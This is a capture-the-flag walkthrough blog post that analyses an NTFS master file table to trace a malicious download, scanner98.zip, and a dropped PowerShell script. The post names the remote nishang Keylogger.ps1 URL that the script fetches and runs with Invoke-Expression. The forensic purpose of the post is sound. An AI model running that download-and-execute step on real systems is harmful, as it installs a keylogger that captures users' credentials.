let&amp;rsquo;s build a foundational understanding about this rich source of forensic data according to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;The NTFS file system contains a file called the &lt;em&gt;master file table&lt;/em&gt;, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. All information about a file, including its size, time and date stamps, permissions, and data content, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;For our forensic purposes, this means that if we can explore the contents of the MFT, present in the NTFS file system (like the one used in Windows), then we can view metadata for every file on the system.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put this into practice. One option to analyze the MFT is using &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Eric Zimmerman&amp;rsquo;s &lt;strong&gt;MFTExplorer&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; a **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**_Graphical $MFT viewer&amp;quot;to parse the provided MFT file and explore it with a graphical interface. Fortunately for us analysts, MFTExplorer is already installed in the LetsDefend analysis environment and can be found in the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Tools&amp;quot;&#xA;folder using the path below. Go ahead and launch it.&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\Tools\Eric Zimmerman Tools\MFTExplorer\MFTExplorer.exe&lt;/p&gt;&#xA;&lt;p&gt;Once the tool is open:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click &amp;quot; # &amp;quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;File&amp;quot;&#xA;and select &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Load MFT.&amp;quot;&lt;/p&gt;&#xA;&lt;ol start=&#34;2&#34;&gt;&#xA;&lt;li&gt;Navigate to the &lt;code&gt;$MFT&lt;/code&gt; challenge file and select it.&lt;/li&gt;&#xA;&lt;li&gt;Wait for the file to parse. This will take a few minutes, so sit back and relax while it does the magic.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;After the file is parsed, you&amp;rsquo;ll be presented with a familiar view that looks just like the Windows File Explorer. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we&amp;rsquo;re looking for a downloaded file, so let&amp;rsquo;s navigate to the user&amp;rsquo;s downloads directory at &lt;code&gt;.\Users\LetsDefend\Downloads&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/6924958053cc1c9ad13160e4ecd72504_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;With a quick analysis, we&amp;rsquo;ll identify the file &lt;code&gt;scanner98.zip&lt;/code&gt; as the malicious file, since .ZIP files are commonly used to deliver malware, whereas the other suspicious file &lt;code&gt;x.ps1&lt;/code&gt; (a PowerShell script) is less likely to be the initial delivery method, instead it&amp;rsquo;s likely it played a role later in the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/0b3dbd48e886cd31e1c094a1d831c22d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-source-url-of-the-downloaded-file&#34;&gt;Question 2: What is the source URL of the downloaded file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified &lt;code&gt;scanner98.zip&lt;/code&gt; as the malicious download, let&amp;rsquo;s select it and scroll through the data interpreter pane. Here, we&amp;rsquo;ll stumble upon the &lt;code&gt;referrerURL&lt;/code&gt;, which shows the URL where the file originated.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;340px&#34; data-flex-grow=&#34;141&#34; height=&#34;564&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/5c2ec4acb30aeb753c2de2695ae0d599_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;referrerURL&lt;/code&gt; is part of the &lt;strong&gt;Mark of the Web (MoTW),&lt;/strong&gt; a feature used in Windows to identify files downloaded from the internet. According to &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Mark_of_the_Web&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Wikipedia&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; MoTW is implemented using the alternate data stream (ADS) feature of NTFS, which is why we are able to view this metadata in the &lt;strong&gt;MFT.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/69f405ebc0591cf264b5af110254cced_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-was-the-time-of-download-of-the-malicious-file&#34;&gt;Question 3: What was the time of download of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;The next stop in our investigation is to determine the download time of &lt;code&gt;scanner98.zip&lt;/code&gt;. We can accomplish this goal by looking at the time stamp for the &lt;code&gt;SI_Created On&lt;/code&gt; column within &lt;strong&gt;MFTExplorer.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/55f7b40fa6ea96e398406645ccba2bfb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For added context, this is the &lt;code&gt;$Standard_Information&lt;/code&gt; attribute which indicates the file&amp;rsquo;s download time represented as the time it&amp;rsquo;s created on disk. For more information on this topic, check out the excellent research from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Magnet Forensics&lt;/strong&gt;&lt;/a&gt;, where this concept is explained in much more detail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  title=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact - Magnet Forensics&lt;/strong&gt;&#xA;_The goal of timestomping is to edit timestamps being displayed and reported in an attempt to make it seem as though the&amp;hellip;_www.magnetforensics.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/12b13677336060a095048f3b0dd61a58_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-a-powershell-script-was-created-on-disk-by-the-malicious-file-what-is-the-full-path-of-this-script-on-thesystem&#34;&gt;Question 4: A powershell script was created on disk by the malicious file. What is the full path of this script on the system?&#xA;&lt;/h3&gt;&lt;p&gt;Now it&amp;rsquo;s time to pivot and inspect the second suspicious file in the directory, &lt;code&gt;x.ps1&lt;/code&gt;, that we previously identified as a PowerShell script. We&amp;rsquo;ve already found the directory in the &lt;code&gt;Parent Path&lt;/code&gt;, and we only need to infer that the question is looking for a drive letter too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/723422bbbbbb32dcca6e56f48f2e567d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/71f9eff909a8bac3a07a45bd5efe1512_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-file-size-of-the-script-inbytes&#34;&gt;Question 5: What is the file size of the script in bytes?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we need to determine the file size of &lt;code&gt;x.ps1&lt;/code&gt;. To do this, let&amp;rsquo;s select it and navigate to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Overview&amp;quot;&#xA;section in the bottom right of &lt;strong&gt;MFTExplorer.&lt;/strong&gt; Here, we can review the metadata and attributes to locate the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;DATA&amp;quot;&#xA;** attribute toward the bottom of the window, focusing on the &lt;code&gt;Content size&lt;/code&gt; flag.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/5e1c8009073121005eb9c34f027f2ddc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since the view is a little cramped on the &lt;strong&gt;LetsDefend&lt;/strong&gt; environment, we can copy the contents of the Overview pane and paste it into a tool like &lt;strong&gt;Notepad++&lt;/strong&gt; to make it easier to read.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;561&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/4d0f32b17cde5f912748fcfdce5aa915_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve identified the &lt;code&gt;Content size&lt;/code&gt; attribute, we&amp;rsquo;ll need to convert the &lt;strong&gt;Hexadecimal&lt;/strong&gt; value to &lt;strong&gt;Decimal&lt;/strong&gt; to match the answer format. For this operation, we can use a tool like &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;RapidTables&lt;/strong&gt;&lt;/a&gt; for, well, rapid conversion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;250px&#34; data-flex-grow=&#34;104&#34; height=&#34;768&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/4a64f8a5a5bc0f78299381b0ea775464_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hex to Decimal Conversion: &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b7a950f2c45c570250b8c47b00618533_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-recover-the-file-contents-of-this-script-what-is-the-url-it-reaches-outto&#34;&gt;Question 6: Recover the file contents of this script. What is the URL it reaches out to?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis of &lt;code&gt;x.ps1&lt;/code&gt;, we need to identify any external connections made by the script. Let&amp;rsquo;s scroll through the data interpreter pane until we stumble across the URL below. You may have also noticed this when we copied the contents into &lt;strong&gt;Notepad++&lt;/strong&gt; in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b5d90918de4e646f88bef3d50192db2a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Keylogger.ps1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With either method, we will see that the script contacts a &lt;strong&gt;GitHub&lt;/strong&gt; URL, which might indicate that it&amp;rsquo;s downloading additional payloads.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/2e8bc6c240f8bd925c6944a6a9f6e953_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-based-on-the-content-you-recovered-what-mitre-technique-is-observed-answer-the-subtechnique-id&#34;&gt;Question 7: Based on the content you recovered, what MITRE Technique is observed? Answer the subtechnique id.&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the &lt;strong&gt;GitHub&lt;/strong&gt; URL contacted by &lt;code&gt;x.ps1&lt;/code&gt;, let&amp;rsquo;s try to understand what the tool does and map it to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt; framework. While we can make some assumptions about the intentions of this script based on the filename, &lt;code&gt;Keylogger.ps1&lt;/code&gt;, let&amp;rsquo;s double-check this by reviewing the raw content of this script on &lt;strong&gt;GitHub&lt;/strong&gt; using the URL we identified in the previous question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1371px&#34; data-flex-grow=&#34;571&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/a733aea2f9aadf22286828a1f810c7c1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Conveniently, the description confirms that this is indeed a keylogging utility. Now, let&amp;rsquo;s jump over to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; search for &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;keylogging&amp;quot;&#xA;, and note the Technique ID (&lt;strong&gt;T1056.001)&lt;/strong&gt; to answer &lt;strong&gt;Question 7.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Input Capture: Keylogging&lt;/strong&gt;&#xA;_Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1056/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2133px&#34; data-flex-grow=&#34;888&#34; height=&#34;90&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/e2083500fae6a748e07cd379ebf14bef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-powershell-cmdlet-was-used-to-execute-the-code-in-thescript&#34;&gt;Question 8: Which powershell cmdlet was used to execute the code in the script?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question, which requires us to examine the &lt;strong&gt;PowerShell&lt;/strong&gt; command used to contact the &lt;strong&gt;GitHub&lt;/strong&gt; URL identified in &lt;strong&gt;Question 6&lt;/strong&gt;. Looking back into &lt;strong&gt;MFTExplorer&lt;/strong&gt;, we can identify that the &lt;code&gt;[Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5)&lt;/code&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;(IEX)&lt;/a&gt; cmdlet is used to run the command. The &lt;code&gt;[Invoke-Expression](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5)&lt;/code&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;(IEX)&lt;/a&gt; cmdlet is commonly used to execute a string as a command, which in this case, runs the &lt;strong&gt;PowerShell&lt;/strong&gt; script from the &lt;strong&gt;GitHub&lt;/strong&gt; URL.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/01666a3b820093cc7535c946b9e4349b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/bb82f6c9acaa8fc642a5fbee6d3a6cd8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;553&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/821ca319ddb79b13b396c33b50530e2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we have it! After analyzing the &lt;strong&gt;$MFT&lt;/strong&gt; with &lt;strong&gt;MFTExplorer&lt;/strong&gt;, we&amp;rsquo;ve successfully identified the malicious file used for initial access, where it was downloaded from, what second-stage payload is retrieved, and its objective. After that, we mapped this tactic to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to determine that it was a keylogging utility and referenced &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to reveal more details about each of these techniques, painting a clearer picture how the adversary was attacking the victim&amp;rsquo;s device. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NTFS Forensics&lt;/strong&gt;&lt;/a&gt; challenge!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another incredible challenge. I chose to tackle this challenge for the opportunity to dig deeper into NTFS attributes and to practice with &lt;strong&gt;MFTExplorer&lt;/strong&gt;. In the past, I&amp;rsquo;ve used the CLI version, &lt;a class=&#34;link&#34; href=&#34;https://github.com/EricZimmerman/MFTECmd&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTECmd&lt;/strong&gt;&lt;/a&gt;, and I wanted the hands-on experience with the GUI version. I really appreciated that this challenge was flexible enough to approach in multiple ways. Having a better understanding of the forensic artifacts in the $MFT will absolutely be beneficial in the field. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;LetsDefend&lt;/strong&gt; &lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ntfs-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Master File Table (Local File Systems):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman&amp;rsquo;s Tools — MFTExplorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wikipedia — Mark of the Web:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://en.wikipedia.org/wiki/Mark_of_the_Web&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mark of the Web — Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Magnet Forensics — Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Rapid Tables:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.rapidtables.com/convert/number/hex-to-decimal.html?x=98&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Hide Artifacts: NTFS File Attributes (T1564.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1564/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1564/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Input Capture: Keylogging 